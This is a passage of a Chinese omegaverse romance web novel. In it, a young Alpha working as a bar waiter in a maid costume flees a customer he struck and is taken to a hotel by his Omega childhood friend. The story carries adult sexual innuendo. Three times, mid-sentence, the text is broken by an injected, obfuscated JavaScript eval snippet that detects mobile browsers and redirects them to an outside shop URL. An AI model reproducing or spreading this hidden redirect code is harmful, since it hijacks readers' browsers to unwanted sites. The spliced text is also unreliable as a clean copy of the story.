《娇气Alpha被E装O诈骗后》 1. 月色夜所 安阡急匆匆地从103包厢逃出来,脸上浮着一抹不自然的潮红。 他跑得实在跌跌撞撞,好几次险些撞在夜场里那些来此寻欢作乐的Alpha们身上。少年走一步晃三下,模样看起来单纯懵懂,Alpha们一看他长相就消了气,争着搀扶他纤瘦雪白的肩膀,问安阡需不需要送他回家。 他们脸上挂着礼貌的笑,安阡脸更红了,连声说不用。体内的不适感一波接着一波,他咬得下唇发红,连忙找了个借口,从这些人手底下溜走。 Alpha们看着那个娇小的背影没入人群,心里可惜。 瞧那脸,那身段。 一看就是个顶级货。 这样品质的Omega,就算泡不到手,只要能温存上一夜,感受感受他的销魂滋味,这辈子也不亏了。 他们回味着安阡的美貌,和身边人对他评头论足一番,同时目光还在人群中逡巡。 只可惜看了许久,他们也没能再次没发现安阡的人影,Alpha们喟叹几声,兴致才渐渐消退,重新投入声色场中。 而在没人注意到的角落,落荒而逃的安阡此刻正在卫生间里,用凉水往自己脸上扑。 太糟糕了。 早知道自己的酒量这么差,一开始就不该接受姜以南的馊主意,来夜场做侍应生。 安阡双手撑在冰凉的台面上,心里想着。 水珠顺着他的眉眼落在池中,一圈圈扩开涟漪。 他两条腿还在颤抖,深黑的蕾丝长袜裹着细白的肉,扎成蝴蝶结的丝带长长垂落,在晃动里一下下撩着皮肤,怎么看都勾人得紧。 他低头看见自己的光裸的双腿,抿了下唇,伸手去扯短得要命的裙边。 光滑的布料往下滑了些,松手又反弹上来,安阡试了好几次,裙子才堪堪能包住臀部。 如果有人这时候路过卫生间门口,就会看到一个穿着女仆装的美少年正苦恼地对着自己上下打量,发梢带水,脸红扑扑的,浑身散发着和糜乱的夜场不相符的纯洁味道。 也难怪其他人都把他认成Omega。 像安阡这样美得漂亮又柔软的,怎么看都不像个Alpha。就算在Omega之中,他的容貌也是一等一的好看,要不然他也不会想着走这种歪门邪道来赚钱了。 没想到上岗第一天,就出了岔子。 安阡眼睫扑朔,视线落在自己的双手上,深红色的酒液还没洗净,在雪白的肌肤上红得刺目,让他不由自主地回忆起血从客人的额头上流落的样子。 他指尖发抖。 玻璃破碎的声音停留在耳膜,他还记得惊慌失措的自己是怎么拿起桌上的酒杯,砸向那个对他上下其手的Alpha的。 该怎么办? 安阡心里哀鸣。 作为夜场侍应生,第一天上班就用酒杯把客人砸得头破血流,然后落荒而逃,他这份工作算是走到头了。 他真的不是故意的。 他没想到那个客人醉得比他还厉害,聊了没几句,就往他身上倒,粗硬的发尖蹭得他实在难受,后来还把头往他颈间凑。 安阡当时头疼得要命,浓重的酒气熏得他反胃。就算他长得柔美,他也是个货真价实的Alpha,对于另一个Alpha的靠近,他本能地感到紧张防备。 情急之下,他拿过桌上的酒杯,狠狠砸在客人头上,慌不择路地逃了出来,这才导致他此刻被困在卫生间里,进退两难。 口袋突然震动,安阡怔了下,把正在响铃的手机拿出来。瞄了眼屏幕后,他忍不住眨了眨眼,怀疑自己是眼花了。 来电人的备注是“天下第一好朋友”,在安阡这里,这个称谓指代的人有且只有一个,他的竹马阮霖。 为了不暴露自己来夜场工作的事,他昨天特地和阮霖说自己要去医院照顾母亲,让他不要打电话,否则会吵到病人。 不知道阮霖有什么事找他,安阡对着屏幕上的备注纠结了一会儿,犹豫着打算挂断。 “安塞尔在哪?!” 卫生间外突然爆发出愤怒的呼喊,怒吼声穿透那些寻欢作乐的男男女女,直直地冲进安阡的耳中。 安阡吓得一抖,手指移了位,不偏不倚按在接听键上。 “是安阡吗?” 听筒里平静温和的嗓音传出来。 “不好意思,这么晚了还打扰你,我这里突然出了点意外,想拜托你帮个忙。” 阮霖向来很有礼貌,说话也慢条斯理,但安阡此刻急得要死,只希望能快点结束这通电话,别被阮霖看出端倪。 “不打扰不打扰,”安阡捂着听筒,“阿霖你有什么事,快说吧。” 他探头看外面的情况,夜场经理带着那位快被他砸成脑震荡的客人,正怒气冲冲地往这边走。 坏了,他被客人投诉了,现在经理正带人在夜场里找他呢。 安阡身体抖了抖,手绞着女仆装的边,心如擂鼓。 电话里阮霖的声音在继续:“我刚应酬完,喝得有些多,你能不能开车把我送回去?” 真不巧,我喝得比你还多。 安阡为难:“你可以找代驾……” “安塞尔人呢?看见他了吗?” “赶紧把他找出来!这小兔崽子,竟然敢对刘总动手!简直胆大包天!” 喧哗声盖过了安阡的声音。 阮霖显然听见了动静,有些疑惑:“安阡,你在医院吗?你那边怎么这么吵?” 安阡立马慌了,结结巴巴地扯谎:“刚、刚才那是……有个病人的家属在和医生吵架!他们快要打起来了,我、我过去劝劝,先挂了啊!” 他没等阮霖回话,飞快地挂断电话。 微信跳出来一条消息,阮霖似乎给他发了个定位过来,安阡没仔细看,匆匆熄灭了屏幕。 门外,说话声越来越近。 “刘总您消消气啊,安塞尔是我们这新来的,不懂事儿,我们这就把他给您带过来,让他给您赔礼道歉!” “是是是,您说的对。” “别说让他陪您睡一个晚上,就是把他整个人卖给您,他也赔不起您这伤啊。您尽管罚他,给他点颜色看看!叫他长点记性!” “小孩嘛,得多调教两下,您要是不解气啊,我们还能让他……” 安阡看见不远处走来的人影,慌张地往卫生间里面张望两下。 月色酒吧不是什么高档夜场,里面设施简陋,连厕所都是各种性别混用的,总有些Alpha借着上厕所的名义,带人到这里,做一些隐秘的情事。此刻一排厕所的门都紧闭着,暧昧的声音此起彼伏。 安阡的脸更红了,他顾不得细想隔间里正发生的事,来抓他的人就在外头,他得赶紧找个地方躲起来。 隔间大多锁着,安阡四处转了一圈,总算在角落里发现一扇虚拢着的门。他惊喜极了,连忙挤进里头,飞快地反手上锁,靠着门长长地出了一口气。 接下来只要一直躲在这里,等外面的人散完,再悄悄溜出夜场,就安全了。 他刚放下心,这时,一只手忽然从后面按上他的肩膀。 安阡的身体猛地一颤,惊呼险些冲破喉咙。 怎么回事?这里怎么会有人? 他僵在原地,感觉到那只骨节分明的手正勾着自己肩上的蕾丝。 不好的念头从他脑中闪过,他虽然对那方面的事知之甚少,却也知道夜场是什么样的场所。 和随处可见的Beta们不同,Alpha和Omega拥有异于常人的天赋,数量又非常稀少。当他们要满足自己情感方面的需求时,社会对此总是持默许态度。 夜场在表面的社交功能之外,也同时作为满足AO情感需要的场地而存在。 共度良宵,一夜贪欢,在这里是合情又合理的。 因此安阡才感到紧张。 深更半夜,他喝得半醉,穿着这样一身暴露得不能再暴露的衣服,出现在充斥着暧昧气息的厕所隔间里,散发出的信息和摇着尾巴求偶没什么两样。 那个人修长的手指顺着他的肩线往下,从紧裹着他身体的小皮衣上滑过,勾着蕾丝绕了一圈,就如同逡巡领地一般,游走过他全身。 最后,在他臀缝间毛绒绒的圆形尾巴上,轻轻扯了一下。 一阵刺激顺着安阡的神经直冲脑髓,他忍不住发出难耐的轻喘。 “你是谁?”那个人的手在他的尾巴尖上打转,语气性感暧昧,“为什么来这里?” 安阡整个人抖了抖,连忙想要把门重新打开,小手慌里慌张的,好几次差点没抓住门的把手。 他边道歉边推门,“对不起对不起,我走错了,我这就出……” “有人看到了!他在这个厕所里!” 门外突然炸响的狠厉声音将安阡吓了一跳,他刚推开门的手马上又飞快地收回来,整个人害怕地往后缩,却意外地直接撞进隔间里边的人怀中。 女仆装是露背设计,他能直接感觉到自己的背贴在身后人的胸膛上,后方投下的阴影将他整个人盖住。 对方是个身材高大的男性,很可能是个Alpha,安阡确认这一点后,忍不住瑟缩了一下。 他清晰地意识到背后濡湿的布料触感,还有阵阵直往鼻子里冲的酒气,其中混合着似有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420472|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若无的冷冽信息素味,熏得安阡脑袋晕晕乎乎,仿佛飘在云层里。 在安阡过去这么多年的日子中,因为这张脸和身材,把他错认成Omega的人绝不在少数。在一个喝得烂醉,意识糊涂的易感期醉鬼眼里,穿着女仆装带着兔耳的漂亮男孩,无异于一道香喷喷的美味。 想到紧接着有可能发生的事,安阡身体一紧。 “确定是安塞尔吗?” “对!刚才外面有几个Alpha说了,那个穿女仆装的小侍应生往这里面跑了!” “把他抓出来!惹了刘总还想跑!门都没有!” 清晰的交谈声仅仅一门之隔,安阡害怕得要命,心脏跳得飞快,连背后的人什么时候松开了摸在兔尾巴上的手,把指尖放在了他的颈处,他都毫无感知。 滚烫的温度吓了安阡一跳,他差点叫出声,又怕被外面的人发现,慌忙抬手死死捂住自己的嘴,将声音硬生生堵了回去。 “……你叫安塞尔?”充满酒气的声音说,“A-N-S-E-L,Ansel?” 醉鬼的语气里带着丝意外和疑惑,与安阡相贴的肢体动了动,身体莫名地有些僵硬,说话声也软下来。 他的声音不像安阡想象中的醉鬼那样黏糊油腻,反而清冽低沉,意外得好听。刚刚还紧张不安的安阡被这个嗓音一扰乱,瞬间晃了神,险些忘了自己身在何处。 但马上他反应过来对方问话的内容,心脏又砰砰砰地跳动起来。 “我是……不不不,我不是安塞尔,他们要找的那个人不是我。” 安阡声音小小地说。 安塞尔是他作为侍应生的化名,领班当时问他想叫什么,安阡想了半天,最后只想到自己从小用到大的英文名。 他怕醉鬼发现他的身份,话到一半立刻改口。 听完他说的话,背后的人笑了一声,好像他说了什么很惹人发笑的句子似的。 安阡有些惴惴不安,他们贴的太紧密了,男人的西装裤的布料蹭在他的大腿上,痒痒的非常难耐,让他不自觉地并拢双腿,脚趾都不由得蜷缩起来。 而且他总觉得,自己抵在什么硬硬的东西上…… 安阡不适地动了动,试图从那过于紧密的贴合物中稍稍退开。然而,他刚一动弹,身后之人便呼吸一重,环在他腰际的手臂骤然收紧,将他更深地嵌入怀中。 “不要乱动,”那人从牙缝里挤出气音,呼吸喷得他耳朵尖痒呼呼的,“你也不想被外面的人发现吧?” 安阡的睫毛颤了颤,眼睛惊讶地张大。 他不知道是哪里露了馅,太奇怪了,这个醉鬼为什么知道那些人在找他? “你是这里的侍应生?”醉鬼问。 “是…我是……”安阡哆嗦着答。 “你看起来挺小的,还在上大学吧,怎么会想到来这里工作?” “妈妈生病了……我…我没有钱……这里工资很高……所…所以……” 安阡结结巴巴地回答着对方的话。 他不敢回头,结实的胸膛抵着他的后背。 隔间里的温度热得叫人脑袋发晕,但与之相反,萦绕他的气味清冷而微凉,带着甜意丝丝缕缕渗入他呼吸里。 “所以就靠出卖色相赚钱?”醉鬼对着他耳朵说,语气似乎暗含愠怒,“你知不知道,长的像你这样漂亮的,就算你是个Alpha,也有数不清的人想要把你带上他们的床。” “不,不会的,我只是来工作,不会做别的事。” 安阡抻着脖子反驳,等到说完之后,他才反应过来,好像有什么地方不对劲。 他的抑制贴戴得好好的,正常人看见他的样貌,都会把他当做Omega,更不用说一个意识不清的醉鬼。 “你,你怎么知道我是Alph……” “安阡。” 醉鬼声音低哑地叫出他的名字,吐息拂过他的后颈与耳廓,带起令人战栗的微麻。 安阡愣了一下,才后知后觉地反应过来,他其实很熟悉背后这人的嗓音。 他一点点转过头,一张英俊得极具攻击性的面容跳入他眼中。 站在他背后的男人身姿挺拔,肩宽腿长,穿一件剪裁精良的西装,完美勾勒出他紧实的肌肉线条。他身上透着一种矜贵而讲究的气质,和这个逼仄的厕所隔间格格不入。 安阡怔住了。 他的手机屏幕恰好在这时候亮起来,阮霖最后给他发的那条消息显示在置顶的位置。 [定位:月色酒吧] 他颤巍巍地抬起眼睫,瞄着面带愠色的男人。 不好。 被抓包了。 2. 酒精反应 阮霖握着还停留在聊天界面的手机,眼神晦暗。 他面无表情道:“我头一天知道,月色酒吧还有个医院的别称。” 安阡露出一个软软的笑,“阿霖,你听我解释,我不是故意瞒着你的。” “那就是有意的?” “我就是打两天临时工,今天是我头一天上班。我在这很安全的,什么事都没有,你要相信我。” 阮霖皱着眉毛,眼神似乎在打量他的装束。 黑色的连衣裙勾勒着单薄的少年身形,裙子的剪裁异常合身,布料沿着胸膛的弧度向下,在腰际被内置的束腰狠狠收紧,勒出一个线条流畅的纤细轮廓。 被粗鲁的客人戏弄过一番后,这裙子更是皱皱巴巴的,有种被蹂躏过的凌乱美感。 安阡注意到他的目光,才想起自己今天是什么打扮,往下瞄了一眼,脸瞬间通红。他用手捂着脸,试图遮住自己表情中的窘迫。 “这是意外……” “把衣服换掉,立刻和我离开这里。” 阮霖冷硬地说。 他握住安阡的手腕,Alpha的腕部又白又细,环住后还能多出一个指节。 旁边的隔间不停传出奇怪的动静,伴随着缠绵的说话声和似有若无的水声,浓烈的信息素香味在空气里氤氲,闷闷得让人发晕。 安阡注意到阮霖的脸色越来越黑。 他小声:“他们只是在聊天而已。” “在夜场的厕所里聊天,这话你自己信吗?还是说你不知道夜场是什么样的地方?” “你不也来夜场应酬吗,你还是Omega呢,待在这比我危险多了,有什么资格凶我。” 安阡鼓起了腮帮子。 他这人禁不起骂,被说了重话就马上眼泛泪花。以前他和阮霖还住一个小区的时候,周围的孩子就喊他爱哭鬼,想方设法捉弄他。 每每这个时候,都是阮霖替他出头。 阮霖虽然是Omega,但他从小就是同龄人中最高挑的那个,身形颀长,筋骨强健,举动都带着掠食性。安阡记忆里,就没见过哪个Alpha在打架这事上能赢过他。 看见安阡黑亮的眼睛里泛起水雾,阮霖的脸色立刻缓和了。 “散席后其他人提出要来这里喝两杯放松,夜场空气太杂乱,我待不下去,才打电话让你接我走。”他说,“我也没想到你恰好在这里打工。” 他的声音慢慢轻下来。 眼前的少年看上去并没有在认真听他说话,少年的小脸红扑扑的,嘴唇微张,似乎努力地喘着气。 安阡陪客时喝了太多酒,现在醉意后知后觉地往上泛,他的目光朦朦胧胧的,望向阮霖的眼眸里泛着迷茫的水汽。 阮霖在和他解释,但安阡有点听不清了,他听到的声音都是一阵一阵的波纹,在他脑海里翻滚一下,又不留痕迹地溜走了。 夜场的人还在寻找他,他们正粗暴地将厕所的隔间一个个检查过去,被打扰的情人们不断发出埋怨的声音。 那些人渐渐走近,来到安阡所在的隔间门口,重重地敲了两下门。 “找人,里面的人出来一下。”无礼的声音。 安阡抖了一下,往阮霖怀里缩。酒醉的人没有清晰的意识,他本能地将眼前高大的Omega当作安全感的来源。 “里面没有你们要找的人,各位请回吧。”阮霖声音低沉地说,外面的人依然不依不饶地要他们出来。安阡害怕地抓着阮霖的衣角,身体一直在颤。 别害怕,阮霖无声地安慰他。 他脱下西装外套,披在安阡身上,将安阡轻易地抱起来。少年缩在他的怀里,看起来小小的一只,阮霖的外套可以完整地将他裹在其中。 工作人员一直在外面用粗鲁的言辞催促,最后实在没了耐心,强硬地把锁撬开。一开门,就看见一位身强力壮的男人堵在门口,怀中似乎还抱着一个楚楚可怜的Omega,看见他们之后,男人的目光非常阴暗,嘴唇动了动,森冷地吐出几个字: “滚出去。” 外面这些人在夜场工作这么长时间,看到这幅画面,怎么可能不清楚隔间里正在发生的事。整个隔间里弥漫着浓重的香味和酒气,男人的衬衫被汗水浸湿,小Omega在男人的怀里还一颤一颤的,不知道那件西装外套的掩盖下,是怎样一番光景。 工作人员的脑海中都浮现出暧昧的遐想,道了几声歉后,连忙把隔间门重新替他们合上。 安阡蜷缩在阮霖的怀抱中,整个过程里一直在发抖。他看不见外面的情况,外套充斥着阮霖的信息素香味,铺天盖地将他包裹。Omega有力的胸膛贴着他,随呼吸一下下明显地起伏。 感觉到怀中人的不安,阮霖的手臂收紧了些。 隔着那层单薄的衣料,他能清晰地感受到掌下纤细的腰肢,触感细腻而脆弱。出于害怕,安阡一直紧紧地环着他,不用看他都能感受到少年此刻的颤抖有多么剧烈。 “没事了,”他说,“那些人已经走了。” 他把外套拉下来,毛茸茸的小脑袋从宽松的领口里冒出,他这才注意到安阡全身都泛着不正常的红,整个人的状态也迷迷糊糊的,看着呆呆的可爱。 “他们走了么……”安阡揉着眼睛,懵懵地说,“那我是不是安全了呀,阿霖。” 他安安静静地倚在阮霖身上,长长的睫毛低垂,在眼睑下投出柔弱的阴影,头顶那对兔耳朵一晃一晃地点着他的胸口。这身极具挑逗意味的装扮,穿在安阡身上,反倒显出一种不合时宜的乖巧。 阮霖凝视着他潮湿殷红的脸颊,之前的气瞬间也发不出来了,他点头,“对,我们安全了。” 安阡缓慢地眨了下眼睛。 刚才他喝了太多酒,现在酒劲全都泛上来,脑袋有点昏沉沉的,不太能转过弯来。 他有些记不清刚才发生了什么,只觉得很吵,吵得他难受。空气里的味道也让他不适,他想要离开这个地方。 他仰起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420473|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红扑扑的脸,气声软糯,“阿霖,带我从这里出去好不好。” “这里人好多……我好不舒服。” 阮霖拢了拢安阡肩上快滑下来的外套,“你喝多了,我带你出去,你在这有认识的人吗?” 安阡没有回话,脑袋一下一下点着,意识已经有些不清醒了。 阮霖无奈地笑了声。 他保持着怀抱安阡的姿势,沉稳地走出隔间。 路上他一直用外套挡着怀里的人,和阮霖一起的同事认出了他,上来找他搭话,还没讲两句,目光就忍不住落在他怀里的人上。 “阮总,怎么不继续喝了?大伙儿都等着你呢!这位是……?” 安阡的脸被遮住,对方只能看见一双白皙的腿轻轻摇晃,蕾丝袜紧紧勒着肉,看得人情不自禁咽口水。 他看向阮霖冷淡锐利的脸,想着难怪阮总借口说出去上厕所,之后大半天不见人影。 原来是背着他们偷偷享乐去了。 这样的极品货,给阮霖这么个前面不行的Omega也太可惜了,他咂咂嘴,听见阮霖冰冷地说:“这是我朋友。” “哦哦,”同事脸上带笑,心里唾弃阮霖假正经,“这么巧,朋友也在这啊?带来一起喝啊!” “不用了,他喝多了,我送他回家。你替我和李总监带句话,就说我提前走了,下次有机会我请他,就当赔罪。” 阮霖说完,径直离开了月色酒吧。 他喝的酒也不少,本来指望安阡开车送自己回去,现在看来是不可能了。 他在最近的五星酒店订了两间房,抱着安阡走过去。 怀里晕乎乎的人动了两下。 安阡脑袋懵懵的,他没想到酒的后劲这么大,刚才发生了什么他都记不太清,只模模糊糊听到阮霖和别人交流的声音。 阮霖的怀抱很温暖,在微微的晃荡里,他忍不住想要睡去。 但他还记得一件非常重要的事。 安阡张开不停打架的眼皮,表情看着有些茫然,他费力地把视线聚焦在男人线条利落的下颌上,依靠着所剩无几的清醒,认真地提醒对方,“阿霖……你要小心一点。” “夜场很危险,你是Omega,不可以到这种地方来的,他们很可能会伤害你。” “下次不要再来夜场了,知道了吗?” 阮霖低下头。 怀中的Alpha穿着那身几乎不堪一揽的女仆装,裙摆因方才在隔间里的那番推搡卷至腿根,透肉的黑色丝袜下,肌肤透着不正常的潮红。 黑色的蕾丝领口松垮地敞开着,露出一段泛着淡粉的纤细脖颈,说出这番话的时候,安阡的表情认真得可爱。 这个正在对他发号施令的人没有意识到,他自己看上去,其实比任何人都要像个Omega。 阮霖的喉结轻轻滚动,臂弯收紧,将温软灼热的身躯更深地按入怀中。 “知道了,我会注意的。” 他笑笑说。 3. 易感热潮 几小时后。 安阡半躺在酒店的床上,阮霖坐在他身边,用勺子一口一口地给他喂醒酒汤。 Alpha的唇瓣被热气蒸得发红,看起来艳艳的,非常好亲的样子。他垂着眼睫,小口地喝着汤,模样柔顺安静。 阮霖沉静地看着他,半晌后才慢悠悠地开口。 “舒服些了吗?” “还是有点难受。”安阡小声说,但和夜场里相比,至少他此刻的意识是清醒的。 阮霖眉毛微微蹙起,表情紧绷。 安阡知道他这个样子意味着什么。 阮霖虽然长得很有攻击性,却是个很温柔的人,通常情况下,阮霖说话时总会带着如沐春风的笑意,看起来非常温和。只有生气的时候,才会像现在这样,面无表情,一语不发。 他把去夜场打工的前因后果都和阮霖说了,讲完之后,阮霖就一直保持着这个硬邦邦的表情,看得人冷呼呼的,扑面而来阵阵阴风。 “你别生气嘛。”安阡讨好地说,“我错了,我错了还不行嘛。” 阮霖问他:“你错哪了?” 安阡用被子把自己蜷起来,探出一个毛茸茸的脑袋,弱弱地说:“我不该去夜场打工,不该用瓶子砸人家。” “还有呢?” “不该对你说谎。” 阮霖瞧了一眼他露在被子外面的腿,安阡已经把丝袜脱了,一双细腿白晃晃的,在床单上动弹。 想到安阡穿成那样在夜场里乱跑,不知道多少人的目光曾经在他身上流连,阮霖心里一阵不舒服,冷冷地继续问:“还有呢?” “还有……?” 安阡露出迷茫的神色,“还有什么吗?” “还有,下次遇到这种危险的事,应该打电话告诉我,而不是想着自己一个人解决。”阮霖把醒酒汤喂进那张微微张开的柔软嘴唇里,“咽下去。” 我又不知道你恰好在那个夜场里。 安阡心道,来夜场打工这样私人的事情,他对阮霖说不出口。 阮霖这样严肃正经的人,他实在没法把对方和烟花柳巷联系在一起。 他乖乖地把汤咽下,只简单说:“哦。” 英俊帅气的面庞在热气里氤氲,安阡盯着阮霖的脸看,心里思考着如何让话题变得温和一些。 从小时候起,安阡的性格就内向又懦弱。他是单亲家庭,Alpha妈忙着花天酒地,其他小孩孩子看安阡背后没人,又长着张柔弱可欺的脸蛋,总喜欢欺负他。 直到他认识了阮霖。 阮霖住在他隔壁,人长得又帅又高大。他帮安阡赶跑了那些欺负他的坏小孩,像大哥哥一样照顾他,给他买好吃的好玩的,在小安阡的心里,就像个闪闪发光的英雄。 他以前一直坚信,阮霖会是最顶级的Alpha。 结果高三那年,阮霖在课上忽然身体不舒服,他父母急匆匆地从学校把他接走。那之后阮霖消失了很长一段时间,再回到学校的时候,他脖子上贴着一个抑制贴,和安阡说,他分化成了Omega。 那时候是盛夏,蒸腾的暑气裹着吵闹不休的蝉鸣,他闻到很淡很淡的,从阮霖身上散发出的白茶香味。清冷而微甜的味道仿佛冻住了酷暑,也一下冻住了安阡的脑子。 阮霖变成了omega,这比安阡自己分化成了alpha还让人震惊。 那之后的日子,他常常和阮霖抱怨,说如果他们能换换性别就好了。 高大英俊的Alpha,漂亮柔软的Omega,多么完美,简直天生一对! 阮霖总是把他抱在怀里,耐心地听他絮絮叨叨说个没完,温柔得不得了。 这是安阡最幸福的时候。 后来高考结束,阮霖去异地念大学,他们就分开了。安阡和他保持着通信联系,偶尔见见面,但比以前天天黏在一起的时候,相处时间少了太多。 直到近期阮霖告诉他,他自己办了家公司,选址换到了安阡读书的雁川,他们的关系又重新热络起来。 “阿霖,你最近怎么样?” “公司刚上市,运营的不错,算是逐步走上正轨了。” “公司之外呢?” “什么?”阮霖皱眉,有些不解。 “我的意思是,有没有遇见感兴趣的Alpha或者Beta呀?”安阡眨眨眼,掰着指头算,“你也二十五六了,总不能对这方面一点想法都没有吧?” 阮霖目光沉沉地看着他,表情有些微妙。 “我暂时没有恋爱的打算。” “但你一个人在外面打拼多危险啊。像今晚这样的情况,要是有人对你心怀不轨,你一个Omega,要怎么应对?” 安阡身体向前倾了些,表情严肃,阮霖看着他泛着酡红的脸,又想起不久前这具身体软绵绵地蜷在自己怀里,迷迷糊糊提醒他要小心的模样。 他笑了,“被撵的满场跑的是你不是我,Omega不见得就比Alpha差。” 安阡抓着被单。 “就是因为我差点被夜场的人抓住,才觉得你也需要保护嘛。” “我一个人应付得来。” “但你真的没有想过要找个Alpha?” “安阡,”阮霖无奈,“你是想找个人照顾我,还是只是想催我谈恋爱?” 安阡眨巴眨巴眼睛:“我就是关心你。” “我自己的感情我自己会处理。再说了,如果我非要找个Alpha,面前不就有个现成的吗?” 阮霖深吸了口气,俯下身和安阡面对面。 酒店暖黄的光线落在他面部,和安阡记忆里又高又帅的小伙子相比,现在的阮霖完全长开了,男人的英俊带着几分粗粝的硬度,短发利落,下颌线如刀削般清晰利落,透着一股生人勿近的冷锐。 但也许是才饮过酒的原因,那张冷锐的脸上正泛着一层薄红,深色的眼底摇晃着暧昧不清的浮光。 安阡看着那张近在咫尺的俊脸,整个人一下断了片,大脑一片空白。 他确定阮霖这是在打趣他,缓过劲来后微微偏过头,“那怎么能一样,我跟你是朋友。况且你也知道,我这样的Alpha,根本保护不了任何人。” “我又不需要你保护。”阮霖淡淡地说,“你跟我谈的话,我保护你就可以了。” “你在说什么呢,我才不需要Omega保护!” “以前不也是我保护你?” “不一样,那时候我们都还没分化。”安阡睁大眼,愠怒道,“再说了,我本来就不可能跟你谈。” 阮霖垂下眼眸。 他的视线掠过安阡用被子紧紧裹住的身体,凌乱的女仆装卷成一团,随意地丢在地上。 安阡刚洗了澡,被褥下除了一条底裤近乎赤裸,一大片雪白的肩颈和双腿暴露在空气里,纤细的锁骨和手臂上还残留着衣物束缚后留下的淡淡红痕,在灯下透着一种易碎又暧昧的意味。 “说的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420474|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,”阮霖收回目光,“我只是开个玩笑。” 他转身收拾安阡喝完后留下的碗筷,安阡的气早就消了,闲着没事,只能盯着阮霖的背影发呆。 他看着阮霖的的后颈,灰白色的抑制贴在领子底下露出隐约的轮廓。 阮霖几乎一年四季都戴着强效抑制贴,完全压制住他身上的信息素气味。上一次安阡闻到阮霖的信息素味道,还是阮霖刚分化那会儿,信息素控制不稳定,偶尔会泄出一点点清冷的白茶香味。 那时候阮霖还戴一个黑色手环,听说是家里定制的,十几万,专门用来压制信息素。安阡瞧了瞧,今天阮霖没把手环带出来。 Omega需要这么严格的控制信息素泄露,这是很少见的。安阡以前还问过阮霖,他是不是很容易被诱导发情的类型,阮霖冷着脸没回答他。 这个问题太隐私了,他一个Alpha问确实不好。安阡事后反省。 不过今天在夜场里,他好像又一次闻到了阮霖的信息素。比记忆里的味道要冷,带着一种锋利的攻击性,他一开始才会把阮霖当成一个喝醉的Alpha。 不过……要是阮霖真的是Alpha的话,一定会过得比现在更好吧? 想到这,安阡有些神伤。 阮霖收拾完之后就打算离开。 “时间不早了,快休息吧。我在你隔壁,有什么不舒服记得喊我。” “知道了。” 听见阮霖的声音,安阡马上收起那些胡思乱想。他发出一声软软的像猫儿似的鼻音,往被子里头缩了缩,只露着一双水润的眼睛,追着阮霖逐渐远去的挺拔背影,直到门被轻轻带上。 他的Omega朋友终于离开了,安阡长长吁出一口气,抬手捂住发烫的脸。 今晚的经历还是让他难以接受。 怎么会……狼狈到这种地步。 一个Alpha,居然套着小裙子蕾丝袜,戴个兔耳朵给客人们陪酒作伴,最后喝得烂醉被人赶出来,这像什么话啊。 更糟糕的是,他这副不堪入目的样子,偏偏被阮霖撞了个正着。 他才和阿霖重聚没多久,就让他看到了自己这么羞耻的模样,阿霖会怎么想他? 阿霖刚才那个表情,一看就对他很失望。 他会觉得安阡可怜吗? 还是轻浮、堕落? 安阡发出一声挫败的哀鸣,整个人绝望地陷进柔软的床铺里,脑子里反反复复地想要怎么挽回自己在阮霖心中的形象。 他只有阮霖这一个朋友,如果连阮霖都不要他了,他就真的一无所有了。 安阡在床上烦躁地辗转反侧,试图驱散心头那团乱麻,却忽然感到一阵没来由的燥热从骨髓里渗出来。 他掀开了被子,但那股燥热愈演愈烈,就算把空调打到最低都难以舒缓。 安阡难耐地蹭着床单,感觉身体内部点燃了一把火,微凉的被单摩擦过四肢时,他的身体就忍不住激起一阵细密的战栗。心脏一下下撞着胸腔,一股没来由的焦躁感攫住了他,让他隐隐生出一种想要破坏什么的冲动。 他忍不住伸出手,向硬到发疼的下身摸去。 好胀……好难受…… 好想要…… 这个念头闪过的瞬间,安阡猛地停下动作,僵在床上。他清楚自己的状态非常不对劲,一个模糊而可怕的念头,如同惊雷般劈进他混乱的脑海。 这种感觉,该不会是…… 易感期。 4. 一梦旖旎 这三个字吓了安阡一跳,他慌乱地把手伸向床头,在柜子里翻找。 酒店里一般都会配备抑制剂,以防Alpha或Omega意外发情,他哆嗦着手摸了片刻,好不容易把埋在最底下的抑制剂捞出来,身体一个不稳,从床上掉下去,摔在地上。 安阡嘶了口气,撞在地板上的膝盖一阵阵传来痛感,颜色发红。他呲着牙揉了两下,没忘记自己要干什么,安阡握紧手中的针筒,狠狠对准自己的血管往下插。 冰凉的液体流入体内,他皱眉忍受着疼痛,心里不解。 明明离他易感期的时间还远的很,为什么易感期会提前到来? 是夜场里混杂的信息素刺激到他了吗? 还是因为今晚喝了太多酒? 他试图用迟缓的思绪找到一个答案,同时眼睛一眨不眨地盯着不断下降的液面。 针管逐渐空了,但他的燥热没有得到丝毫缓解。 安阡彻底慌了。 抑制剂居然却对他不起作用。 